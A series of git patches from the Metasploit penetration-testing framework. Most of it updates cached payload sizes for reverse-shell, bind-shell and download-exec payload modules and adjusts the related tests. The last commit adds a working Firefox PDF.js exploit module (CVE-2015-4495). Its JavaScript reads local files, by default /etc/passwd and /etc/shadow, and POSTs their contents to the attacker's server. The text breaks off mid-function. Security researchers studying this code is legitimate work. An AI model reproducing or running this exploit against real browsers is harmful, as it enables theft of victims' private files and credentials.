b/modules/payloads/singles/osx/x64/shell_bind_tcp.rb index 39c243a804..246bbcc2b2 100644 --- a/modules/payloads/singles/osx/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x64/shell_bind_tcp.rb @@ -37,7 +37,7 @@ module Metasploit3 # build the shellcode payload dynamically based on the user-provided CMD def generate - cmd = (datastore['CMD'] || '') << "\x00" + cmd = (datastore['CMD'] || '') + "\x00" port = [datastore['LPORT'].to_i].pack('n') call = "\xe8" + [cmd.length].pack('V') payload = diff --git a/modules/payloads/singles/osx/x64/shell_find_tag.rb b/modules/payloads/singles/osx/x64/shell_find_tag.rb index cea9453ba5..e10354938a 100644 --- a/modules/payloads/singles/osx/x64/shell_find_tag.rb +++ b/modules/payloads/singles/osx/x64/shell_find_tag.rb @@ -40,7 +40,7 @@ module Metasploit3 # ensures the setting of tag to a four byte value # def generate - cmd = (datastore['CMD'] || '') << "\x00" + cmd = (datastore['CMD'] || '') + "\x00" call = "\xe8" + [cmd.length].pack('V') payload = diff --git a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb index 2326540c1c..13e4586d5b 100644 --- a/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb @@ -45,7 +45,7 @@ module Metasploit3 raise ArgumentError, "LHOST must be in IPv4 format." end - cmd = (datastore['CMD'] || '') << "\x00" + cmd = (datastore['CMD'] || '') + "\x00" port = [datastore['LPORT'].to_i].pack('n') ipaddr = [lhost.split('.').inject(0) {|t,v| (t << 8 ) + v.to_i}].pack("N") diff --git a/modules/payloads/singles/osx/x86/exec.rb b/modules/payloads/singles/osx/x86/exec.rb index 7756c8f420..688f654fb0 100644 --- a/modules/payloads/singles/osx/x86/exec.rb +++ b/modules/payloads/singles/osx/x86/exec.rb @@ -16,7 +16,7 @@ require 'msf/core' ### module Metasploit3 - CachedSize = 16 + CachedSize = 24 include Msf::Payload::Single include Msf::Payload::Bsd::X86 diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index b7b94c4cc3..1a1c56d38b 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_options' module Metasploit4 - CachedSize = 25679 + CachedSize = 25685 include Msf::Payload::Single include Msf::Payload::Php::ReverseTcp diff --git a/modules/payloads/singles/python/shell_reverse_tcp.rb b/modules/payloads/singles/python/shell_reverse_tcp.rb index d0da258362..2a7ceb923f 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 381 + CachedSize = 401 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb index e450654e55..c3e6eb0765 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 537 + CachedSize = 557 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp.rb b/modules/payloads/singles/ruby/shell_reverse_tcp.rb index 723ee36cbc..72db7766bd 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 496 + CachedSize = 516 include Msf::Payload::Single include Msf::Payload::Ruby diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb index 5801918b6c..0f16cba516 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 424 + CachedSize = 444 include Msf::Payload::Single include Msf::Payload::Ruby diff --git a/modules/payloads/singles/solaris/sparc/shell_find_port.rb b/modules/payloads/singles/solaris/sparc/shell_find_port.rb index 66c045ca31..6027131f48 100644 --- a/modules/payloads/singles/solaris/sparc/shell_find_port.rb +++ b/modules/payloads/singles/solaris/sparc/shell_find_port.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = :dynamic + CachedSize = 136 include Msf::Payload::Single include Msf::Payload::Solaris diff --git a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb index b131313de5..f90d730769 100644 --- a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 160 + CachedSize = 95 include Msf::Payload::Single include Msf::Payload::Solaris diff --git a/modules/payloads/singles/solaris/x86/shell_find_port.rb b/modules/payloads/singles/solaris/x86/shell_find_port.rb index 47685dc019..63f6835cfc 100644 --- a/modules/payloads/singles/solaris/x86/shell_find_port.rb +++ b/modules/payloads/singles/solaris/x86/shell_find_port.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 151 + CachedSize = 86 include Msf::Payload::Single include Msf::Payload::Solaris diff --git a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb index e30f986522..8263e301da 100644 --- a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 156 + CachedSize = 91 include Msf::Payload::Single include Msf::Payload::Solaris diff --git a/modules/payloads/singles/windows/adduser.rb b/modules/payloads/singles/windows/adduser.rb index bac5858201..ce3d1fd43c 100644 --- a/modules/payloads/singles/windows/adduser.rb +++ b/modules/payloads/singles/windows/adduser.rb @@ -15,7 +15,7 @@ require 'msf/core/payload/windows/exec' ### module Metasploit3 - CachedSize = 443 + CachedSize = 282 include Msf::Payload::Windows::Exec diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index db3d09cffb..dcb1415381 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 275 + CachedSize = 285 include Msf::Payload::Windows include Msf::Payload::Single diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index d161b4384f..3ecde4535b 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -8,7 +8,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 439 + CachedSize = 423 include Msf::Payload::Windows include Msf::Payload::Single diff --git a/modules/payloads/singles/windows/exec.rb b/modules/payloads/singles/windows/exec.rb index 1e88f03eb3..436c0c3dfe 100644 --- a/modules/payloads/singles/windows/exec.rb +++ b/modules/payloads/singles/windows/exec.rb @@ -13,7 +13,7 @@ require 'msf/core/payload/windows/exec' ### module Metasploit3 - CachedSize = 185 + CachedSize = 192 include Msf::Payload::Windows::Exec diff --git a/modules/payloads/singles/windows/loadlibrary.rb b/modules/payloads/singles/windows/loadlibrary.rb index efcf3c1b11..e0072623c0 100644 --- a/modules/payloads/singles/windows/loadlibrary.rb +++ b/modules/payloads/singles/windows/loadlibrary.rb @@ -13,7 +13,7 @@ require 'msf/core/payload/windows/loadlibrary' ### module Metasploit3 - CachedSize = 183 + CachedSize = 230 include Msf::Payload::Windows::LoadLibrary diff --git a/modules/payloads/singles/windows/powershell_bind_tcp.rb b/modules/payloads/singles/windows/powershell_bind_tcp.rb index 1042da2ee2..95ef7b26c2 100644 --- a/modules/payloads/singles/windows/powershell_bind_tcp.rb +++ b/modules/payloads/singles/windows/powershell_bind_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/bind_tcp' ### module Metasploit3 - CachedSize = 1695 + CachedSize = 1703 include Msf::Payload::Windows::Exec include Rex::Powershell::Command diff --git a/modules/payloads/singles/windows/powershell_reverse_tcp.rb b/modules/payloads/singles/windows/powershell_reverse_tcp.rb index 20d069518b..487c0d8d35 100644 --- a/modules/payloads/singles/windows/powershell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/powershell_reverse_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/reverse_tcp_ssl' ### module Metasploit3 - CachedSize = 1703 + CachedSize = 1711 include Msf::Payload::Windows::Exec include Msf::Payload::Windows::Powershell diff --git a/modules/payloads/singles/windows/x64/exec.rb b/modules/payloads/singles/windows/x64/exec.rb index 547ca5cfe4..92455a5b9b 100644 --- a/modules/payloads/singles/windows/x64/exec.rb +++ b/modules/payloads/singles/windows/x64/exec.rb @@ -9,7 +9,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 268 + CachedSize = 275 include Msf::Payload::Windows include Msf::Payload::Single diff --git a/modules/payloads/singles/windows/x64/loadlibrary.rb b/modules/payloads/singles/windows/x64/loadlibrary.rb index 2c95b8ee61..f8ee8f6823 100644 --- a/modules/payloads/singles/windows/x64/loadlibrary.rb +++ b/modules/payloads/singles/windows/x64/loadlibrary.rb @@ -9,7 +9,7 @@ require 'msf/core' module Metasploit3 - CachedSize = 267 + CachedSize = 314 include Msf::Payload::Windows include Msf::Payload::Single diff --git a/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb b/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb index 065b8f5685..7b16dad82d 100644 --- a/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/bind_tcp' ### module Metasploit3 - CachedSize = 1778 + CachedSize = 1786 include Msf::Payload::Windows::Exec_x64 include Rex::Powershell::Command diff --git a/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb b/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb index 4db849cd89..524d876cdc 100644 --- a/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/reverse_tcp_ssl' ### module Metasploit3 - CachedSize = 1786 + CachedSize = 1794 include Msf::Payload::Windows::Exec_x64 include Msf::Payload::Windows::Powershell diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb index 8a96ea2837..5871e573df 100644 --- a/modules/payloads/stagers/java/reverse_http.rb +++ b/modules/payloads/stagers/java/reverse_http.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http' module Metasploit3 - CachedSize = 5499 + CachedSize = 5505 include Msf::Payload::Stager include Msf::Payload::Java diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb index 4318ad3f42..2a95173ce7 100644 --- a/modules/payloads/stagers/java/reverse_https.rb +++ b/modules/payloads/stagers/java/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/uuid/options' module Metasploit3 - CachedSize = 6307 + CachedSize = 6313 include Msf::Payload::Stager include Msf::Payload::Java diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb index 514f8b35aa..5e6284c129 100644 --- a/modules/payloads/stagers/java/reverse_tcp.rb +++ b/modules/payloads/stagers/java/reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 - CachedSize = 5487 + CachedSize = 5500 include Msf::Payload::Stager include Msf::Payload::Java diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_tcp.rb index 6e6d4b611b..6127486d9c 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/linux/reverse_tcp' module Metasploit4 - CachedSize = 193 + CachedSize = 71 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb index fa08274121..3f0d438f87 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/linux/reverse_tcp' module Metasploit4 - CachedSize = 236 + CachedSize = 114 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp diff --git a/modules/payloads/stagers/netware/reverse_tcp.rb b/modules/payloads/stagers/netware/reverse_tcp.rb index 79c4acae90..43a6199879 100644 --- a/modules/payloads/stagers/netware/reverse_tcp.rb +++ b/modules/payloads/stagers/netware/reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/core/handler/reverse_tcp' module Metasploit3 - CachedSize = 279 + CachedSize = 281 include Msf::Payload::Stager include Msf::Payload::Netware diff --git a/modules/payloads/stagers/php/reverse_tcp.rb b/modules/payloads/stagers/php/reverse_tcp.rb index 4fcafa11df..9768010ca5 100644 --- a/modules/payloads/stagers/php/reverse_tcp.rb +++ b/modules/payloads/stagers/php/reverse_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/php/reverse_tcp' module Metasploit4 - CachedSize = 936 + CachedSize = 951 include Msf::Payload::Stager include Msf::Payload::Php::ReverseTcp diff --git a/modules/payloads/stagers/php/reverse_tcp_uuid.rb b/modules/payloads/stagers/php/reverse_tcp_uuid.rb index 86c152d0d4..e99e44664a 100644 --- a/modules/payloads/stagers/php/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/php/reverse_tcp_uuid.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/php/reverse_tcp' module Metasploit4 - CachedSize = 1110 + CachedSize = 1125 include Msf::Payload::Stager include Msf::Payload::Php::ReverseTcp diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb index 75b1a00929..7350a20022 100644 --- a/modules/payloads/stagers/python/reverse_tcp.rb +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit4 - CachedSize = 342 + CachedSize = 362 include Msf::Payload::Stager include Msf::Payload::Python::ReverseTcp diff --git a/modules/payloads/stagers/python/reverse_tcp_uuid.rb b/modules/payloads/stagers/python/reverse_tcp_uuid.rb index ebb0a1d9d5..80b038fdc4 100644 --- a/modules/payloads/stagers/python/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/python/reverse_tcp_uuid.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit4 - CachedSize = 446 + CachedSize = 466 include Msf::Payload::Stager include Msf::Payload::Python diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index 06d5de4f3e..572d1c282d 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/reverse_http' module Metasploit4 - CachedSize = 312 + CachedSize = 327 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb index 3ba25412bf..d6f375b31a 100644 --- a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb +++ b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/uuid/options' module Metasploit3 - CachedSize = 650 + CachedSize = 665 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index 879777dbaf..0b35881fd0 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/reverse_https' module Metasploit4 - CachedSize = 332 + CachedSize = 347 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_https_proxy.rb b/modules/payloads/stagers/windows/reverse_https_proxy.rb index 500506525a..f9a1e0dbf2 100644 --- a/modules/payloads/stagers/windows/reverse_https_proxy.rb +++ b/modules/payloads/stagers/windows/reverse_https_proxy.rb @@ -10,7 +10,7 @@ require 'msf/core/handler/reverse_https_proxy' module Metasploit3 - CachedSize = 391 + CachedSize = 397 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb index 8b15646f81..4ae5af6697 100644 --- a/modules/payloads/stagers/windows/x64/reverse_http.rb +++ b/modules/payloads/stagers/windows/x64/reverse_http.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_http' module Metasploit4 - CachedSize = 486 + CachedSize = 501 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb index 08117499f4..8e5a2fc1f5 100644 --- a/modules/payloads/stagers/windows/x64/reverse_https.rb +++ b/modules/payloads/stagers/windows/x64/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_https' module Metasploit4 - CachedSize = 517 + CachedSize = 532 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 50b07c1c36..553606f01d 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -863,7 +863,7 @@ describe 'modules/payloads', :content do ancestor_reference_names: [ 'singles/firefox/exec' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'firefox/exec' end @@ -2320,7 +2320,7 @@ describe 'modules/payloads', :content do ancestor_reference_names: [ 'singles/solaris/sparc/shell_find_port' ], - dynamic_size: true, + dynamic_size: false, modules_pathname: modules_pathname, reference_name: 'solaris/sparc/shell_find_port' end @@ -3886,7 +3886,7 @@ describe 'modules/payloads', :content do modules_pathname: modules_pathname, reference_name: 'windows/x64/powershell_reverse_tcp' end - + context 'windows/x64/shell/bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ diff --git a/spec/support/shared/examples/payload_cached_size_is_consistent.rb b/spec/support/shared/examples/payload_cached_size_is_consistent.rb index e325e038da..0a687994e8 100644 --- a/spec/support/shared/examples/payload_cached_size_is_consistent.rb +++ b/spec/support/shared/examples/payload_cached_size_is_consistent.rb @@ -70,6 +70,7 @@ # `:ancestor_reference_names`. # @return [void] shared_examples_for 'payload cached size is consistent' do |options| + options.assert_valid_keys(:ancestor_reference_names, :modules_pathname, :reference_name, :dynamic_size) ancestor_reference_names = options.fetch(:ancestor_reference_names) @@ -85,6 +86,30 @@ shared_examples_for 'payload cached size is consistent' do |options| include_context 'Msf::Simple::Framework#modules loading' + datastore = { + } + + opts = { + 'Format' => 'raw', + 'Options' => { + 'CPORT' => 4444, + 'LPORT' => 4444, + 'LHOST' => '255.255.255.255', + 'KHOST' => '255.255.255.255', + 'AHOST' => '255.255.255.255', + 'CMD' => '/bin/sh', + 'URL' => 'http://a.com', + 'PATH' => '/', + 'BUNDLE' => 'data/isight.bundle', + 'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll', + 'RC4PASSWORD' => 'Metasploit', + 'DNSZONE' => 'corelan.eu', + 'PEXEC' => '/bin/sh' + }, + 'Encoder' => nil, + 'DisableNops' => true + } + # # lets # @@ -111,6 +136,8 @@ shared_examples_for 'payload cached size is consistent' do |options| ) end + next if reference_name =~ /generic/ + if dynamic_size it 'is dynamic_size?' do pinst = load_and_create_module( @@ -132,7 +159,7 @@ shared_examples_for 'payload cached size is consistent' do |options| ) expect(pinst.cached_size).to_not(be_nil) expect(pinst.dynamic_size?).to be(false) - expect(pinst.cached_size).to eq(pinst.size) + expect(pinst.cached_size).to eq(pinst.generate_simple(opts).size) end end end diff --git a/tools/update_payload_cached_sizes.rb b/tools/update_payload_cached_sizes.rb index 950d519669..1a9d97acaa 100755 --- a/tools/update_payload_cached_sizes.rb +++ b/tools/update_payload_cached_sizes.rb @@ -22,8 +22,11 @@ require 'msf/util/payload_cached_size' framework = Msf::Simple::Framework.create('DisableDatabase' => true) framework.payloads.each_module do |name, mod| - next if Msf::Util::PayloadCachedSize.is_cached_size_accurate?(mod) + next if name =~ /generic/ + mod_inst = framework.payloads.create(name) + #mod_inst.datastore.merge!(framework.datastore) + next if Msf::Util::PayloadCachedSize.is_cached_size_accurate?(mod_inst) $stdout.puts "[*] Updating the CacheSize for #{mod.file_path}..." - Msf::Util::PayloadCachedSize.update_module_cached_size(mod) + Msf::Util::PayloadCachedSize.update_module_cached_size(mod_inst) end From 3aa1f93196e2844762908c8022b89c225deb4074 Mon Sep 17 00:00:00 2001 From: Stuart Morgan <stuart.morgan@mwrinfosecurity.com> Date: Fri, 14 Aug 2015 17:45:47 +0100 Subject: [PATCH 0278/2172] Fixed string->uint --- lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb b/lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb index 2978313275..56798875d9 100644 --- a/lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/pageantjacker/tlv.rb @@ -6,7 +6,7 @@ module Extensions module Pageantjacker TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 1) -TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2) +TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2) TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 3) TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 4) TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 5) From 66148336e10e3a0f97b08dc2d6e9818ca2d544f5 Mon Sep 17 00:00:00 2001 From: Greg Mikeska <greg_mikeska@rapid7.com> Date: Fri, 14 Aug 2015 11:48:52 -0500 Subject: [PATCH 0279/2172] Modify tests to resolve false negative MSP-13064 --- spec/support/shared/examples/msf/db_manager/session.rb | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index 1ec814058b..5d2f01bd00 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -123,9 +123,15 @@ shared_examples_for 'Msf::DBManager::Session' do end context 'with a match in user_data' do + let(:vuln) do + FactoryGirl.create(:mdm_vuln, + name: parent_module_name, + host: host) + end + let(:user_data) do { - match: FactoryGirl.build(:automatic_exploitation_match), + match: FactoryGirl.build(:automatic_exploitation_match, matchable: vuln), match_set: FactoryGirl.build(:automatic_exploitation_match_set), run: FactoryGirl.build(:automatic_exploitation_run, workspace: session_workspace), } From e4cb6872f2a591d7f584fe54f4e216ba2aa14a03 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Fri, 14 Aug 2015 12:07:15 -0500 Subject: [PATCH 0280/2172] Add exploit for CVE-2015-4495, Firefox PDF.js --- .../gather/firefox_pdfjs_file_theft.rb | 273 ++++++++++++++++++ 1 file changed, 273 insertions(+) create mode 100644 modules/auxiliary/gather/firefox_pdfjs_file_theft.rb diff --git a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb new file mode 100644 index 0000000000..6d52a81cfa --- /dev/null +++ b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb @@ -0,0 +1,273 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Firefox PDF.js Browser File Theft', + 'Description' => %q{ + This module abuses an XSS vulnerability in versions of Firefox 39.0.3, Firefox ESR + before 38.1.1, and Firefox OS before 2.2 that allows arbitrary files to be stolen. + The vulnerability occurs in the PDF.js component, which uses Javascript to render + a PDF inside a frame with privileges to read local files. The in-the-wild malicious + payloads searched for sensitive files on Windows, Linux, and OSX. Android versions + are reported to be unaffected, as they do not use the Mozilla PDF viewer. + }, + 'Author' => [ + 'Unknown', # From an 0day served on Russian news website + 'fukusa', # Hacker news member that reported the issue + 'Unknown' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => [[ 'WebServer' ]], + 'PassiveActions' => [ 'WebServer' ], + 'References' => + [ + ['URL', 'https://paste.debian.net/290146'], # 0day exploit + ['URL', 'https://news.ycombinator.com/item?id=10021376'], # discussion with discoverer + ['URL', 'https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/'], + ['CVE', '2015-4495'] + ], + 'DefaultAction' => 'WebServer' + )) + + register_options([ + OptString.new('FILES', [ + false, + 'Comma-separated list of files to steal', + '/etc/passwd, /etc/shadow' + ]) + ], self.class) + + register_advanced_options([ + OptInt.new('PER_FILE_SLEEP', [ + false, + 'Milliseconds to wait before attempting to read the frame containing each file', + 250 + ]) + ], self.class) + end + + def run + print_status("File targeted for exfiltration: #{JSON.generate(file_urls)}") + exploit + end + + def on_request_uri(cli, request) + if request.method.downcase == 'post' + print_status('Got POST request...') + process_post(cli, request) + send_response_html(cli, '') + else + print_status('Sending exploit...') + send_response_html(cli, html) + end + end + + def process_post(cli, req) + name = req.qstring['name'] + print_good "Received #{name}, size #{req.body.bytes.length}..." + output = store_loot( + name || "data", "text/plain", cli.peerhost, req.body, "firefox_theft", "Firefox PDF.js exfiltrated file" + ) + print_good "Stored to #{output}" + end + + def html + exploit_js = js+file_payload+"}, 20);" + "<!doctype html><html><body><script>#{exploit_js}</script></body></html>" + end + + def backend_url + proto = (datastore["SSL"] ? "https" : "http") + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" + "#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch" + end + + + def file_payload + %Q| + var files = (#{JSON.generate(file_urls)}); + function next() { + var f = files.pop(); + if (f) { + get("file://"+f, function() { + var data = get_data(this); + var x = new XMLHttpRequest; + x.open("POST", "#{backend_url}?name="+encodeURIComponent("%URL%")); + x.send(data); + }, #{datastore['PER_FILE_SLEEP']}, "%URL%", f); + setTimeout(next, #{datastore['PER_FILE_SLEEP']}+200); + } + } + next(); + | + end + + def file_urls + datastore['FILES'].split(',').map(&:strip) + end + + def js + <<-EOJS +function xml2string(obj) { + return new XMLSerializer().serializeToString(obj); +} + +function __proto(obj) { + return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__; +} + +function get(path, callback, timeout, template, value) { + callback = _(callback); + if (template && value) { + callback = callback.replace(template, value); + } + js_call1 = 'javascript:' + _(function() { + try { + open("%url%", "_self"); + } catch (e) { + history.back(); + } + undefined; + }, "%url%", path); + js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call1); + })); + setTimeout((function() { + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call2); + })); + }), timeout); +} + +function get_data(obj) { + data = null; + try { + data = obj.document.documentElement.innerHTML; + if (data.indexOf('dirListing') < 0) { + throw new Error(); + } + } catch (e) { + if (this.document instanceof XMLDocument) { + data = xml2string(this.document); + } else { + try { + if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') { + data = this.document.body.firstChild.textContent; + } else { + throw new Error(); + } + } catch (e) { + try { + if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {; + return null; + } else { + throw new Error(); + } + } catch (e) { + ;; + } + } + } + } + return data; +} + +function _(s, template, value) { + s = 